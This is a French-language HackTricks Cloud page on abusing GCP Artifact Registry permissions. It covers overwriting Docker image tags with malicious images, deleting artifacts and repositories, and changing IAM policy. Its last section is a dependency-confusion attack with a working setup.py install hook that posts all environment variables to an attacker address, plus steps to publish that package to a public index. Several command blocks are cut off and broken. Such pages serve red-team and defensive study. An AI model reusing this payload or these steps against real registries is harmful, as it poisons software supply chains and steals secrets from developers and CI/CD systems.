GCP - Artifact Registry Privesc
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Artifact Registry
Pour plus d’informations sur Artifact Registry, consultez :
artifactregistry.repositories.uploadArtifacts
Avec cette permission, un attaquant pourrait téléverser de nouvelles versions des artefacts contenant du code malveillant, comme des images Docker :
Téléverser une image Docker vers Artifact Registry
```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockertag the image to upload it
docker tag
Upload it
docker push
</details>
> [!CAUTION]
> Il a été vérifié qu'il est **possible d'uploader une nouvelle image docker malveillante** avec le même nom et tag que celle déjà présente, donc la **ancienne perdra le tag** et la prochaine fois que l'image avec ce tag sera **téléchargée, la malveillante sera téléchargée**.
<details>
<summary>Téléverser une bibliothèque Python</summary>
**Commencez par créer la bibliothèque à téléverser** (si vous pouvez télécharger la dernière version depuis le registry vous pouvez éviter cette étape):
1. **Configurez la structure de votre projet**:
- Créez un nouveau répertoire pour votre bibliothèque, par ex., `hello_world_library`.
- À l'intérieur de ce répertoire, créez un autre répertoire avec le nom de votre package, par ex., `hello_world`.
- Dans le répertoire de votre package, créez un fichier `__init__.py`. Ce fichier peut être vide ou contenir des initialisations pour votre package.
<details>
<summary>Créer la structure du projet</summary>
```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
- Écrivez le code de votre bibliothèque:
- Dans le répertoire
hello_world, créez un nouveau fichier Python pour votre module, par ex.,greet.py. - Écrivez votre fonction “Hello, World!” :
Créer le module de la bibliothèque
# hello_world/greet.py
def say_hello():
return "Hello, World!"
- Créez un fichier
setup.py:
- À la racine de votre répertoire
hello_world_library, créez un fichiersetup.py. - Ce fichier contient les métadonnées de votre bibliothèque et indique à Python comment l’installer.
Créer le fichier setup.py
# setup.py
from setuptools import setup, find_packages
setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)
Maintenant, téléversez la bibliothèque :
- Construisez votre package:
- Depuis la racine de votre répertoire
hello_world_library, exécutez :
Construire le package Python
python3 setup.py sdist bdist_wheel
- Configurez l’authentification pour twine (utilisé pour téléverser votre package):
- Assurez-vous d’avoir
twineinstallé (pip install twine). - Utilisez
gcloudpour configurer les credentials :
Téléverser le package avec twine
```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://- Nettoyer la compilation
Nettoyer les artefacts de compilation
```bash rm -rf dist build hello_world.egg-info ```Caution
Il n’est pas possible de téléverser une bibliothèque python avec la même version que celle déjà présente, mais il est possible de téléverser des versions supérieures (ou d’ajouter un
.0à la fin de la version si cela fonctionne — pas en python cependant —), ou de supprimer la dernière version et d’en téléverser une nouvelle avec (nécessiteartifactregistry.versions.delete):Delete artifact version
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
artifactregistry.repositories.downloadArtifacts
Avec cette permission, vous pouvez télécharger des artifacts et rechercher des informations sensibles et des vulnérabilités.
Download a Docker image:
Télécharger une image Docker depuis Artifact Registry
```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockerDowload image
docker pull
</details>
Télécharger une bibliothèque **python** :
<details>
<summary>Télécharger une bibliothèque **python** depuis Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
- Que se passe-t-il si des registres distants et standards sont mélangés dans un registre virtuel et qu’un package existe dans les deux ? Consultez cette page:
GCP - Artifact Registry Persistence
artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)
Supprimer des artefacts du registre, comme des images docker :
Supprimer une image Docker depuis Artifact Registry
```bash # Delete a docker image gcloud artifacts docker images deleteartifactregistry.repositories.delete
Supprimer un dépôt complet (même s’il contient du contenu) :
Supprimer le référentiel Artifact Registry
``` gcloud artifacts repositories deleteartifactregistry.repositories.setIamPolicy
Un attaquant disposant de cette permission pourrait s’accorder des droits pour effectuer certaines des attaques sur les dépôts mentionnées précédemment.
Pivoting to other Services through Artifact Registry Read & Write
- Cloud Functions
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. J’ai essayé de modifier l’image avec une nouvelle, et même de supprimer l’image actuelle (et l’image cache) et rien n’a changé, la Cloud Function continue de fonctionner. Par conséquent, il pourrait être possible d’abuser d’un Race Condition attack comme avec le bucket pour changer le conteneur docker qui sera exécuté mais seulement modifier l’image stockée ne permet pas de compromettre la Cloud Function.
- App Engine
Even though App Engine creates docker images inside Artifact Registry. Il a été testé que même si vous modifiez l’image à l’intérieur de ce service et supprimez l’instance App Engine (donc une nouvelle est déployée) le code exécuté ne change pas.
Il pourrait être possible qu’en réalisant une Race Condition attack comme avec les buckets il soit possible d’écraser le code exécuté, mais cela n’a pas été testé.
artifactregistry.repositories.update
An attacker does not need specific Artifact Registry permissions to exploit this issue—only a vulnerable virtual-repository configuration. Cela se produit lorsqu’un dépôt virtuel combine un dépôt distant public (p. ex., PyPI, npm) avec un dépôt interne, et que la source distante a une priorité égale ou supérieure. Si les deux contiennent un package portant le même nom, le système sélectionne la version la plus élevée. L’attaquant n’a qu’à connaître le nom du package interne et être capable de publier des packages dans le registre public correspondant.
With the artifactregistry.repositories.update permission, an attacker could change a virtual repository’s upstream settings to intentionally create this vulnerable setup and use Dependency Confusion as a persistence method by inserting malicious packages that developers or CI/CD systems may install automatically.
The attacker creates a malicious version of the internal package in the public repository with a higher version number. For Python packages, this means preparing a package structure that mimics the legitimate one.
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
Un fichier setup.py est ensuite créé, contenant du code malveillant qui s’exécuterait lors de l’installation. Ce fichier doit spécifier un numéro de version supérieur à celui du dépôt privé.
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
Construisez le package et supprimez le wheel afin de garantir que le code est exécuté lors de l’installation.
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
Téléversez le paquet malveillant dans le dépôt public (par exemple, test.pypi.org pour Python).
pip install twine
twine upload --repository testpypi dist/*
Lorsqu’un système ou un service installe le package en utilisant le dépôt virtuel, il téléchargera la version malveillante depuis le dépôt public plutôt que la version interne légitime, car la version malveillante a un numéro de version supérieur et le dépôt distant a une priorité égale ou supérieure.
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

